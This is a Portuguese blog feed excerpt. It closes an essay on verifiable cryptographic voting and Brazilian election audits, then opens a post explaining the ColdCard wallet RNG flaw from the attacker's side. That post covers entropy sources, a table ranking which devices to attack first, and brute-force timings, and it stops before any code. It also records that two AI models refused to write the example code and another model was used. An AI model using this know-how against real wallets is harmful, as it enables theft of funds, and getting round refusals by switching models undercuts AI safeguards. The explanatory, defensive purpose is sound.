<p>Volta pro começo do artigo e repara no que eu precisei explicar pra chegar até aqui: funções de hash, compromissos, aritmética modular, logaritmo discreto, árvores de Merkle, o desafio de Benaloh, assinaturas cegas, provas de conhecimento zero, simuladores. Com código, com números, com exemplos passo a passo. E mesmo assim eu aposto que uma parcela boa dos leitores — inclusive programadores — chegou até aqui sem ter certeza de que entendeu de verdade por que o esquema é seguro.</p>
<p>E não é por falta de inteligência. É porque a confiança nesse sistema exige entender matemática que a imensa maioria da população nunca vai entender. O único ser humano que pode ter <strong>100% de certeza</strong> de que esse sistema é correto é aquele que consegue verificar as demonstrações matemáticas por conta própria. Todo o resto — 99,9% da população — não estaria <em>verificando</em> coisa nenhuma. Estaria <strong>acreditando</strong> no matemático que diz que funciona.</p>
<p>E aí chegamos na contradição fatal: se um sistema eleitoral exige que o cidadão comum acredite cegamente num especialista que ele não consegue auditar, ele é <strong>exatamente tão opaco quanto o sistema atual do TSE</strong>. A opacidade só trocou de endereço: em vez de confiar no burocrata do tribunal, você confia no criptógrafo. Pra dona Maria, que vende pastel na feira, tanto faz — os dois são &ldquo;um monte de letrinha que eu não entendo&rdquo;. E um sistema que a população não consegue entender é um sistema cuja legitimidade ela nunca vai aceitar. O cético de hoje que diz &ldquo;não confio na urna&rdquo; viraria o cético de amanhã dizendo &ldquo;não confio nessa álgebra&rdquo;.</p>
<p>Uma eleição não é só um problema de engenharia; é um problema de <strong>confiança social</strong>. O padrão-ouro de transparência não é o sistema mais sofisticado — é o sistema que <strong>qualquer pessoa consegue fiscalizar com os próprios olhos</strong>: cédula de papel, urna de vidro, contagem pública na seção, ata na porta. Qualquer um entende papel sendo contado em público. Ninguém precisa acreditar em ninguém.</p>
<p>É por isso que países muito mais ricos e tecnológicos que o Brasil — Alemanha, Holanda, França, a maior parte dos EUA — continuam com papel ou exigem trilha de papel auditável. Não é atraso. É a constatação de que verificabilidade que só especialista entende não é verificabilidade pública.</p>
<h2>Parêntese: o que as criptomoedas provam todos os dias<span class="hx:absolute hx:-mt-20" id="parêntese-o-que-as-criptomoedas-provam-todos-os-dias"></span>
    <a href="#par%c3%aantese-o-que-as-criptomoedas-provam-todos-os-dias" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de concluir, vale um desvio pra responder à pergunta que sempre aparece: &ldquo;mas isso funciona de verdade ou é teoria de guardanapo?&rdquo;. Funciona. E a prova está rodando há quase duas décadas, movimentando bilhões de dólares, sob ataque constante: as blockchains.</p>
<p>Primeiro, desfazendo um mal-entendido: <strong>blockchain não é sinônimo de criptomoeda.</strong> Como o próprio nome diz, é só uma cadeia de blocos. Cada bloco carrega uma Merkle tree de registros e o hash do bloco anterior. No Bitcoin, o cabeçalho do bloco guarda a raiz da árvore de transações, o hash do bloco anterior, um carimbo de tempo e um nonce — aqui, um contador de mineração — que os mineradores variam até o hash do bloco inteiro cair abaixo do alvo de dificuldade — a tal prova de trabalho. É a Peça 3 deste artigo, estendida no tempo: não uma árvore, mas uma cadeia de árvores, cada uma selando a anterior.</p>
<p>O resultado prático é a garantia que interessa aqui: mexa em <strong>uma transação</strong> de um bloco antigo e a raiz da árvore muda, o hash do bloco muda, o elo com o bloco seguinte quebra, e pra esconder isso você precisaria refazer a prova de trabalho de todos os blocos até hoje — enquanto milhares de nós honestos continuam alongando a cadeia verdadeira. Depois que tudo está assinado e selado por hash, adulterar o passado é computacionalmente impossível. É exatamente por isso que o Bitcoin pode ser 100% público: a exposição funciona como proteção, não como risco. Todo mundo tem cópia de tudo, então ninguém reescreve a história.</p>
<p><strong>Mas público não significa anônimo.</strong> Essa é a parte que a maioria confunde. No Bitcoin, toda transação fica visível pra sempre: quais endereços alimentaram, quais receberam, quanto foi. Endereços são pseudônimos — apelidos, não anonimato. E existe uma indústria inteira de análise de cadeia (Chainalysis, Elliptic, TRM) que vive de grudar identidade nesses apelidos:</p>
<ul>
<li><strong>Heurística dos inputs comuns:</strong> se uma transação gasta moedas de vários endereços, quase certamente todos pertencem à mesma carteira. Agrupe-os num cluster.</li>
<li><strong>Detecção de troco:</strong> o output que volta pra um endereço novo costuma ser do próprio pagador.</li>
<li><strong>Ponte com o mundo real:</strong> quando um endereço do cluster encosta numa exchange com KYC, o nome e o CPF se ligam ao cluster inteiro — e ao histórico completo dele, retroativamente.</li>
</ul>
<p>Foi assim que o FBI recuperou parte do resgate do oleoduto Colonial, foi assim que as moedas da Silk Road foram rastreadas anos depois, e é assim que os ~1.128 BTC roubados das ColdCards continuam parados em endereços conhecidos que meio mundo vigia — eu detalhei isso no <a href="/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/">artigo sobre o RNG da Coinkite</a>. Se o ladrão mover um satoshi pra uma exchange com KYC, ele se identifica. A cadeia garante integridade, não sigilo.</p>
<p>Pra ter anonimato de verdade, não basta a cadeia: precisa de prova de conhecimento zero. O Monero, por exemplo, combina três técnicas:</p>
<ol>
<li><strong>Assinaturas de anel</strong> (<em>ring signatures</em>): cada gasto é assinado em nome de um grupo de chaves possíveis. A assinatura prova que <strong>uma delas</strong> autorizou, sem revelar qual.</li>
<li><strong>Endereços furtivos</strong> (<em>stealth addresses</em>): o endereço do destinatário nunca aparece na cadeia; cada pagamento cria um endereço descartável, derivado de um segredo compartilhado.</li>
<li><strong>RingCT</strong> (<em>confidential transactions</em>): os valores ficam escondidos em <strong>compromissos Pedersen</strong> — sim, exatamente a Peça 2 deste artigo — e uma prova de alcance em ZK garante que ninguém criou moeda do nada, sem revelar quantia nenhuma.</li>
</ol>
<p>O Zcash segue a mesma filosofia com zk-SNARKs: você prova &ldquo;eu sou dono de uma nota válida e ainda não gasta&rdquo; sem revelar qual nota. A rede verifica a prova, aceita a transação e não aprende remetente, destinatário nem valor.</p>
<p>E aqui o círculo se fecha. Olhe o que o esquema eleitoral deste artigo usa: uma estrutura pública e imutável que qualquer um verifica (a Merkle tree, primo mais simples da blockchain), compromissos Pedersen pra esconder o conteúdo (a mesma primitiva do Monero) e provas ZK pra garantir validade sem revelação (a mesma família do Monero e do Zcash). Nada disso é conjectura de laboratório: são sistemas em produção, auditados, atacados diariamente, protegendo dinheiro de verdade. Uma eleição é, se muito, um problema mais simples — janela curta, um publicador só, verificação offline.</p>
<p>Por isso eu disse lá no começo que a ideia é matematicamente sólida: ela não inventa nada, só compõe peças que já provaram aguentar o mundo real. Sabemos que um sistema de eleição digital verificável ponta a ponta <strong>poderia</strong> ser construído, porque todos os componentes dele já estão construídos e funcionando. O que nos leva de volta ao problema que não é técnico.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Deixo claro mais uma vez, como deixei nos tweets: <strong>isso não é uma proposta, é um exercício.</strong> Eu não sei qual é a solução pro problema da confiança eleitoral no Brasil. Se soubesse, estaria publicando paper, não post de blog.</p>
<p>Mas o exercício vale por duas razões. Primeiro, porque mostra que a tecnologia pra ter verificabilidade individual e universal <strong>existe</strong> — quem diz &ldquo;eleição digital é inerentemente inauditável&rdquo; está errado. Segundo, porque mostra o limite real: a fronteira não é técnica, é epistemológica. Um sistema perfeito que ninguém entende falha no mesmo ponto que um sistema imperfeito que ninguém pode auditar.</p>
<p>Se você entendeu cada linha deste artigo, parabéns: você faz parte de uma minoria pequena demais pra carregar uma democracia nas costas.</p>
<h2>Apêndice 1: afinal, o sistema atual é auditável?<span class="hx:absolute hx:-mt-20" id="apêndice-1-afinal-o-sistema-atual-é-auditável"></span>
    <a href="#ap%c3%aandice-1-afinal-o-sistema-atual-%c3%a9-audit%c3%a1vel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Fica no ar uma pergunta justa: então o sistema atual não tem auditoria nenhuma? Tem sim, e vale ser honesto sobre isso. O que não existe é um tipo específico de auditoria: a que não depende de software. Vamos por partes.</p>
<p>O arsenal atual, resumido e com as fontes:</p>
<ul>
<li><strong>Inspeção de código-fonte.</strong> Partidos, OAB, TCU, Polícia Federal, Ministério Público e universidades podem examinar o código dos sistemas na sede do TSE, meses antes da eleição — o tal <a href="https://www.tse.jus.br/comunicacao/noticias/2025/Novembro/codigos-fonte-do-ciclo-de-transparencia-ao-teste-publico-da-urna"target="_blank" rel="noopener">ciclo de transparência</a>.</li>
<li><strong>Teste Público de Segurança (TPS).</strong> Pesquisadores externos tentam atacar o sistema de verdade. E ele funciona: em 2012, a equipe do professor Diego Aranha desembaralhou o RDV e mostrou que dava pra descobrir em quem cada eleitor votou; em 2017, conseguiram adulterar o software de votação antes da instalação (a história está na <a href="https://revistapesquisa.fapesp.br/a-urna-eletronica-na-maturidade/"target="_blank" rel="noopener">Revista Pesquisa FAPESP</a> e neste <a href="https://www.agencialupa.org/jornalismo/2023/11/27/entenda-como-funciona-o-teste-de-seguranca-das-urnas-eletronicas-feito-pelo-tse/"target="_blank" rel="noopener">resumo da Lupa</a>). As falhas encontradas foram corrigidas depois.</li>
<li><strong>Zerésima, BU e Teste de Integridade.</strong> Antes da votação, a urna imprime o relatório zerado. No fim do dia, imprime o Boletim de Urna, afixado na seção e publicado digitalmente com QR code — qualquer um pode baixar os BUs e somar por conta própria. E uma amostra aleatória de urnas é desviada pra uma votação paralela, filmada, comparando o registro em papel com o digital.</li>
<li><strong>RDV — a &ldquo;recontagem digital&rdquo;.</strong> A urna grava cada voto individual num arquivo embaralhado e anonimizado, publicado depois (<a href="https://www.tse.jus.br/legislacao/compilada/res/2021/resolucao-no-23-673-14-de-dezembro-de-2021"target="_blank" rel="noopener">definição na Resolução TSE 23.673/2021</a>). Partidos e entidades autorizadas podem re-somar os votos e cruzar com os BUs e com a totalização oficial — é o mecanismo oficial apresentado como substituto da recontagem em papel (<a href="https://www.tse.jus.br/eleicoes/historia/processo-eleitoral-brasileiro/votacao/votacao-segura"target="_blank" rel="noopener">explicação do TSE</a>).</li>
<li><strong>Auditorias externas.</strong> Em 2022, o TCU cruzou 9 milhões de registros de 4.577 seções eleitorais com a base de totalização e encontrou zero divergências — probabilidade de fraude &ldquo;próxima de 0%&rdquo; (<a href="https://www.cnnbrasil.com.br/politica/auditoria-do-tcu-diz-que-possibilidade-de-fraude-nas-eleicoes-de-2022-e-proxima-de-0/"target="_blank" rel="noopener">CNN Brasil</a>). O Carter Center observou as eleições de 2022, não registrou evidência de fraude e reconheceu a ampliação das auditorias (<a href="https://www.cartercenter.org/news/pr/2022/brazil-100522-portuguese.pdf"target="_blank" rel="noopener">declaração da missão</a>).</li>
</ul>
<p>Agora o &ldquo;mas&rdquo; que este artigo inteiro constrói: <strong>toda camada dessa lista depende de software ou de cerimônia conduzida pelo próprio TSE.</strong> A comparação BU × RDV prova consistência interna — que os números publicados batem com os números registrados. Ela não prova que os números registrados refletem o que os eleitores apertaram na tela, porque uma urna adulterada produziria BU e RDV adulterados de forma perfeitamente consistente. É o que o próprio Aranha resume: todas as auditorias disponíveis hoje dependem do software; se o programa for adulterado, todas as checagens caem juntas (<a href="https://www1.folha.uol.com.br/poder/2021/06/so-brasil-bangladesh-e-butao-usam-urna-eletronica-sem-comprovante-do-voto-impresso.shtml"target="_blank" rel="noopener">Folha de S.Paulo</a>). E o Teste de Integridade, que cobre uma amostra pequena de urnas, é um primo pobre do desafio de Benaloh da Peça 4: em vez de cada eleitor auditar a própria cédula na hora, quem audita é uma amostra sorteada e conduzida pelo sistema.</p>
<p>Tem ainda o capítulo jurídico: a tentativa de criar um registro em papel verificável pelo eleitor, o &ldquo;voto impresso&rdquo;, foi declarada inconstitucional pelo STF na ADI 4543, por risco ao sigilo do voto, e a tentativa de ressuscitá-la foi barrada de novo em 2020 (<a href="https://conjur.com.br/2020-set-16/supremo-confirma-liminar-impede-volta-voto-impresso/"target="_blank" rel="noopener">Conjur</a>). A ironia é que o esquema deste artigo resolve exatamente o conflito que derrubou o voto impresso: recibo verificável <strong>sem</strong> quebrar o sigilo, via compromissos e provas ZK. A matemática destrava o que o papel não destravou. O que continua travado é todo o resto, como as seções anteriores explicam.</p>
<p>O veredito honesto, então: o sistema brasileiro é auditável de formas digitais e procedurais reais, e nunca se provou fraude que alterasse um resultado em quase 30 anos de urna eletrônica. Mas não existe recontagem independente de software, porque não existe registro físico verificado pelo eleitor. Na linguagem da pesquisa de segurança eleitoral, uma <em>risk-limiting audit</em> de verdade não é possível. A confiança continua depositada no software, nas inspeções prévias e na custódia dos registros digitais — exatamente o que o sistema hipotético deste artigo tenta eliminar.</p>
<h2>Apêndice 2: skin in the game — recompensar quem verifica<span class="hx:absolute hx:-mt-20" id="apêndice-2-skin-in-the-game--recompensar-quem-verifica"></span>
    <a href="#ap%c3%aandice-2-skin-in-the-game--recompensar-quem-verifica" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que fica no ar depois de montar o esquema inteiro: criptomoedas funcionam porque alguém tem algo a perder. No Bitcoin, o minerador queima energia de verdade; no proof-of-stake, o validador deposita capital que é confiscado se trapacear. E o eleitor? Votar não custa nada, e conferir o recibo em casa dá trabalho de graça. O sistema inteiro depende de gente verificando — e ninguém tem incentivo pra verificar. Dá pra colocar <em>skin in the game</em> no eleitor?</p>
<p>A primeira ideia que vem à cabeça é um depósito: vote, deposite uma quantia, receba de volta depois via imposto de renda. Como desenho de mecanismo, tem lógica — precifica identidade falsa: um milhão de votos fantasmas custaria cem milhões de reais. Na prática, morre em três lugares. É um imposto eleitoral disfarçado, censitário e inconstitucional — a devolução resolve a contabilidade, não o fluxo de caixa de quem não tem o dinheiro pra adiantar. A via &ldquo;imposto de renda&rdquo; não alcança a maioria dos brasileiros pobres, que nem declaram — ou seja, exclui exatamente quem o sistema mais precisa incluir. E criaria na Receita um banco de dados ligando identidade, conta bancária e participação eleitoral, um retrocesso de vigilância maior que o problema que resolve. Tudo isso antes do detalhe plutocrático: segurança precificada em dinheiro é segurança comprável por quem tem dinheiro. Eleição é desenhada pra ser cega a riqueza — um voto por pessoa. Colocar preço na camada de segurança é convidar o rico a ser mais igual que os outros.</p>
<p>A versão que sobrevive a esse crivo inverte o sinal: em vez de cobrar pra votar, <strong>recompensar quem verifica</strong>. O ponto fraco real do esquema é a taxa de verificação individual — se ninguém confere o serial em casa, a prova de inclusão da Peça 3 vira decoração. Então: cada recibo verificado entra num sorteio público e auditável, com a raiz da própria árvore servindo de fonte de aleatoriedade (mais um uso pra ela). Conferiu seu voto na árvore? Concorre a um prêmio. O incentivo aponta exatamente pro comportamento que o sistema precisa — milhões de olhos conferindo a árvore — sem excluir ninguém, sem cobrar nada e sem banco de dados novo, porque o sorteio roda em cima do serial anônimo, não da identidade.</p>
<p>É a lógica do Bitcoin do lado certo: lá, a recompensa por bloco paga pra milhares de máquinas manterem o ledger honesto; aqui, o prêmio pagaria pra milhões de eleitores manterem a eleição honesta. É quase uma <em>proof of verification</em>: a recompensa de bloco paga o trabalho de hashear que sustenta o Bitcoin, e o prêmio pagaria o trabalho de conferir que sustentaria a eleição. Não é proposta — como nada neste artigo —, mas como exercício de desenho de incentivos, é a versão que eu colocaria no papel.</p>
<h2>Apêndice 3: por que &ldquo;conhecimento zero&rdquo; é tão difícil de engolir<span class="hx:absolute hx:-mt-20" id="apêndice-3-por-que-conhecimento-zero-é-tão-difícil-de-engolir"></span>
    <a href="#ap%c3%aandice-3-por-que-conhecimento-zero-%c3%a9-t%c3%a3o-dif%c3%adcil-de-engolir" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você chegou até aqui com a sensação de que entendeu cada peça individualmente, mas não juraria que entendeu o conjunto, relaxa: você está em ótima companhia. Quando Goldwasser, Micali e Rackoff formalizaram provas de conhecimento zero nos anos 80, a ideia soou paradoxal até pra criptógrafo de profissão. Toda prova que a gente conhece funciona <em>mostrando</em> alguma coisa. Como pode uma prova transferir convicção sem transferir informação nenhuma?</p>
<p>A matemática das Peças 2 a 5 é a resposta completa, mas a intuição demora a assentar. Então aqui vão duas analogias clássicas que não envolvem equação nenhuma — cada uma ilumina uma metade do conceito.</p>
<p><strong>Onde está o Wally?</strong> Eu digo que encontrei o Wally na página e quero te provar isso sem revelar onde ele está — senão você ganha o jogo de graça. A solução: pego uma folha de papelão enorme, bem maior que o livro, faço um furo pequeno no meio e posiciono sobre a página de modo que só o Wally apareça pelo furo. Você vê o Wally. Mas como o papelão cobre tudo em volta, você não faz ideia de em que canto da página ele está. Eu provei que sei a localização; você aprendeu zero sobre ela. E repare no que sustenta a prova: se eu não soubesse onde ele está, não teria como posicionar o papelão — a chance de acertar o furo no Wally por sorte é minúscula. É a caverna de Ali Babá de novo, só que com papelão.</p>
<p><strong>As duas bolas do amigo daltônico.</strong> Seu amigo é daltônico vermelho-verde. Você tem duas bolas idênticas em tamanho, peso e textura, uma vermelha e uma verde, e afirma: &ldquo;essas bolas são de cores diferentes&rdquo;. Pra ele, são indistinguíveis. Como provar sem revelar qual é qual? Ele mostra as duas bolas, uma em cada mão. Esconde as mãos atrás das costas e decide, sozinho, se troca as bolas de mão ou não. Mostra de novo e pergunta: &ldquo;troquei?&rdquo;. Você, que enxerga as cores, acerta sempre. Ele, que não enxerga, não passaria de 50%. Depois de 20 acertos seguidos, ele está convencido de que as bolas são diferentes — a chance de você blefar 20 rodadas é uma em um milhão. E o que ele aprendeu sobre qual bola é a vermelha? <strong>Nada.</strong> Cada resposta sua (&ldquo;trocou&rdquo;, &ldquo;não trocou&rdquo;) era algo que ele mesmo já sabia — afinal, foi ele quem decidiu se trocava ou não. A informação da rodada já era dele; a única coisa nova é a convicção de que você enxerga a diferença.</p>
<p>A versão formal dessa intuição é o simulador da Peça 5: se qualquer pessoa, sem saber segredo nenhum, consegue fabricar a &ldquo;gravação&rdquo; de uma sessão de prova indistinguível de uma sessão real, então a sessão real não pode carregar informação sobre o segredo. O poder de convencer vem da ordem das operações — primeiro o compromisso, depois o desafio. O conhecimento zero vem do fato de que a gravação, sozinha, é falsificável. As duas coisas são verdade ao mesmo tempo, por razões diferentes. É por isso que o conceito escorrega: você segura dois fatos que parecem se contradizer até perceber que cada um se apoia numa coisa distinta.</p>
<p>E se mesmo depois de tudo isso o conceito continua escorregadio, ótimo: você acabou de sentir na pele o argumento central deste artigo.</p>
]]></content:encoded><category>politica</category><category>seguranca</category><category>tutoriais</category></item><item><title>Explorando o problema escandaloso do RNG da Coinkite</title><link>https://akitaonrails.github.io/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 -0300</pubDate><description>&lt;p&gt;Ontem publiquei o alerta prático: &lt;a href="https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/"&gt;se você guarda Bitcoin em ColdCard, mova tudo&lt;/a&gt;. Hoje vou mostrar &lt;strong&gt;como&lt;/strong&gt; a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.&lt;/p&gt;
&lt;p&gt;O código didático deste artigo foi gerado com &lt;strong&gt;Kimi K3&lt;/strong&gt;. É curioso notar que, ao mesmo prompt, tanto o &lt;strong&gt;Claude&lt;/strong&gt; quanto o &lt;strong&gt;GPT&lt;/strong&gt; se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Ontem publiquei o alerta prático: <a href="/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/">se você guarda Bitcoin em ColdCard, mova tudo</a>. Hoje vou mostrar <strong>como</strong> a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.</p>
<p>O código didático deste artigo foi gerado com <strong>Kimi K3</strong>. É curioso notar que, ao mesmo prompt, tanto o <strong>Claude</strong> quanto o <strong>GPT</strong> se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.</p>
<p>O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: &ldquo;se a ColdCard fica offline, como os bitcoins sumiram?&rdquo;.</p>
<blockquote>
  <p><strong>Aviso:</strong> o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.</p>

</blockquote>
<h2>O resumo do post anterior<span class="hx:absolute hx:-mt-20" id="o-resumo-do-post-anterior"></span>
    <a href="#o-resumo-do-post-anterior" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro <code>MICROPY_HW_ENABLE_RNG</code> foi definida como <code>0</code>, mas a guarda no <code>libNgU</code> usava <code>#ifndef</code>, que só pergunta se o símbolo existe. O build passou, a chamada <code>rng_get()</code> caiu no fallback de software <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.</p>
<p>Para quem não lida com hardware, vale traduzir essas siglas:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. <strong>A ColdCard não tem essa bateria.</strong> Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores <code>RTC-&gt;TR</code> e <code>RTC-&gt;SSR</code> leiam zero ou um valor estático toda vez que o aparelho liga &ldquo;frio&rdquo;. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o &ldquo;tempo&rdquo; não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.</li>
<li><strong>SysTick</strong> é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até <code>0x00FFFFFF</code> e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como <code>0x003D7A12</code>. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).</li>
</ul>
<p>A análise da <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> e o <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">backgrounder técnico da Coinkite</a> concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.</p>
<p>O ponto central é: <strong>a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos.</strong> Quarenta bits não são seguros. São enumeráveis com hardware barato.</p>
<h2>A carteira não fica &ldquo;dentro&rdquo; da ColdCard<span class="hx:absolute hx:-mt-20" id="a-carteira-não-fica-dentro-da-coldcard"></span>
    <a href="#a-carteira-n%c3%a3o-fica-dentro-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.</p>
<p>No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva <code>secp256k1</code>. Quem conhece o número pode assinar. Quem não conhece, não consegue.</p>
<p>Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.</p>
<p>Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles &ldquo;segura&rdquo; seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.</p>
<h2>Como o atacante prioriza os modelos<span class="hx:absolute hx:-mt-20" id="como-o-atacante-prioriza-os-modelos"></span>
    <a href="#como-o-atacante-prioriza-os-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:</p>
<table>
  <thead>
      <tr>
          <th>Modelo / firmware</th>
          <th>O que o atacante precisa adivinhar</th>
          <th>Espaço aproximado</th>
          <th>Prioridade</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>UID do chip, estado dos timers, histórico de chamadas ao RNG</td>
          <td>~40 bits no modelo da Coinkite; determinístico se tudo for conhecido</td>
          <td><strong>1º — atacar primeiro</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 sem reseed bem-sucedido</td>
          <td>Mesmo fallback de cima, com possível falha silenciosa no secure element</td>
          <td>~41 bits</td>
          <td><strong>2º</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 com reseed normal</td>
          <td>Estado do fallback + 32 bits do secure element</td>
          <td>~72 bits brutos, sendo 32 bits de verdadeiro segredo adicionado</td>
          <td><strong>3º — mais caro</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 até v3.2.2</td>
          <td>TRNG de hardware funcionando</td>
          <td>~256 bits</td>
          <td>inatingível</td>
      </tr>
  </tbody>
</table>
<p>Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.</p>
<p>Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.</p>
<p>O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.</p>
<h2>128 bits, 40 bits e 72 bits: qual é a diferença?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-e-72-bits-qual-é-a-diferença"></span>
    <a href="#128-bits-40-bits-e-72-bits-qual-%c3%a9-a-diferen%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.</p>
<p>Imagine que você consegue testar <strong>1 bilhão de candidatos por segundo</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidatos</th>
          <th>Tempo para varrer tudo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1,1 trilhão</td>
          <td>~18 minutos</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4,7 sextilhões</td>
          <td>~150 mil anos</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3,4 × 10³⁸</td>
          <td>~10²² anos (muitas ordens de magnitude além da idade do universo)</td>
      </tr>
  </tbody>
</table>
<p>Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.</p>
<p>Por isso 40 bits não são &ldquo;um pouco menos seguros&rdquo; que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.</p>
<h2>De um número inteiro para uma wallet<span class="hx:absolute hx:-mt-20" id="de-um-número-inteiro-para-uma-wallet"></span>
    <a href="#de-um-n%c3%bamero-inteiro-para-uma-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.</p>
